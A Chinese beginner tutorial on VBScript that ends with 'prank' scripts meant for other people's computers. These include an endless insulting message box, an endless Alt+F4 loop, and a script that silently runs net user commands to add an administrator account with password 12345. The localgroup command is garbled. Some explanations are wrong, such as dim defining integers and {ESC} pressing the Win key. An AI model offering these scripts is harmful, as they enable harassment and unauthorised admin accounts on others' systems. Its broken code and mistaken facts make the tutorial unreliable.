vbs基础脚本

 

  大家可能听过Visual Basic，但vbs就可能没听过。vbs，(也叫vbe)是visual basic的脚本程序（visual basic Script）我将为大家带来vbs的基础指令。

  第一步，新建一个文本文档：

、

然后复制这段代码：（分隔线亦可复制）

'               分割线

'=================================

dim S,a,b

'定义S，a，b三个变量
a=inputbox("请输入三角形的底")
b=inputbox("请输入三角形的高")

'获得输入a，b
S=a*b*1/2

'处理
msgbox("三角形的面积"&S)

'输出

'=================================

'               分割线

在上面的脚本中，dim是定义整数变量，inputbox是输入框，具体操作为：inputbox("说的话","标题","默认值")

而“msgbox”则是一个提示框：用法：msgbox("要说的话")

到这就有人按捺不住了：你说了半天，到底咋弄vbs脚本？那要看情况如果你的文本文档的名字是这样后面带.txt的  那恭喜你，重名命名后，把.txt改为.vbs(vbe也可以)，按下回车，系统会询问你是否更改：

         

当然选“是”。

如果你是这样的：

两种办法

如果你是决定就此学习vbs脚本，请选方案一。

如果你是决定用此恶搞或不经常用，请选方案二。

方案一：修改出扩展名（什么？你不知道啥是扩展名？自己问度娘或谷哥）

双击“此电脑”

找到上面的“查看”，点它

之后上面变成这样

找到“文件扩展名”

勾选就可以了

 

方案二：另存为

输完代码后，点击上面“文件”

在弹出来的选项条里点“另存为”

接着弹出这个窗口：

在下面名字后面加.vbs(.vbe)

接着就把“文本文档(txt*.)”改为“所有文件”

再点保存，就好了。

 

  最后，在介绍两个整人必备：

do······loop是无限循环语句，用法：

'               分割线

'=================================

'do后都是要循环的语句

do

'要循环的语句

msgbox ("you are a 傻逼傻逼傻逼傻逼")

'loop结尾，必须是结尾

loop

第二个是vbs模拟按键

在开头加上：

dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 

就可以启用模拟按键，

WSHshell.SendKeys""

就是模拟按键函数。

WSHshell.SendKeys"^"

就是按下Ctrl，

WSHshell.SendKeys"%"

就是按下Ait，

WSHshell.SendKeys"+"

就是按下shirt，

WSHshell.SendKeys"({ESC})"

就是按下Win。

其他的问度娘或谷哥，我也不太了解。

最后送两个恶搞程序（第二个不完全是）。

第一：

'               分割线

'=================================

dim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
do
WSHshell.SendKeys "%{F4}" 
loop 

'=================================

'               分割线

这个程序会不停的按下Alt+F4，发生什么你值得拥有。

第二：

'               分割线

'=================================

set wshshell=createobject("wscript.shell")
a=wshshell.run ("cmd.exe /c net user 管理员 12345/add",0)
b=wshshell.run ("cmd.exe /c net localgroup AdministratorsAdministartor /add",0)

'=================================

'               分割线

运行时发生什么？

这段程序可以注册一个超级用户的权限，名为“管理员”，密码是“12345”，你可以自己更改。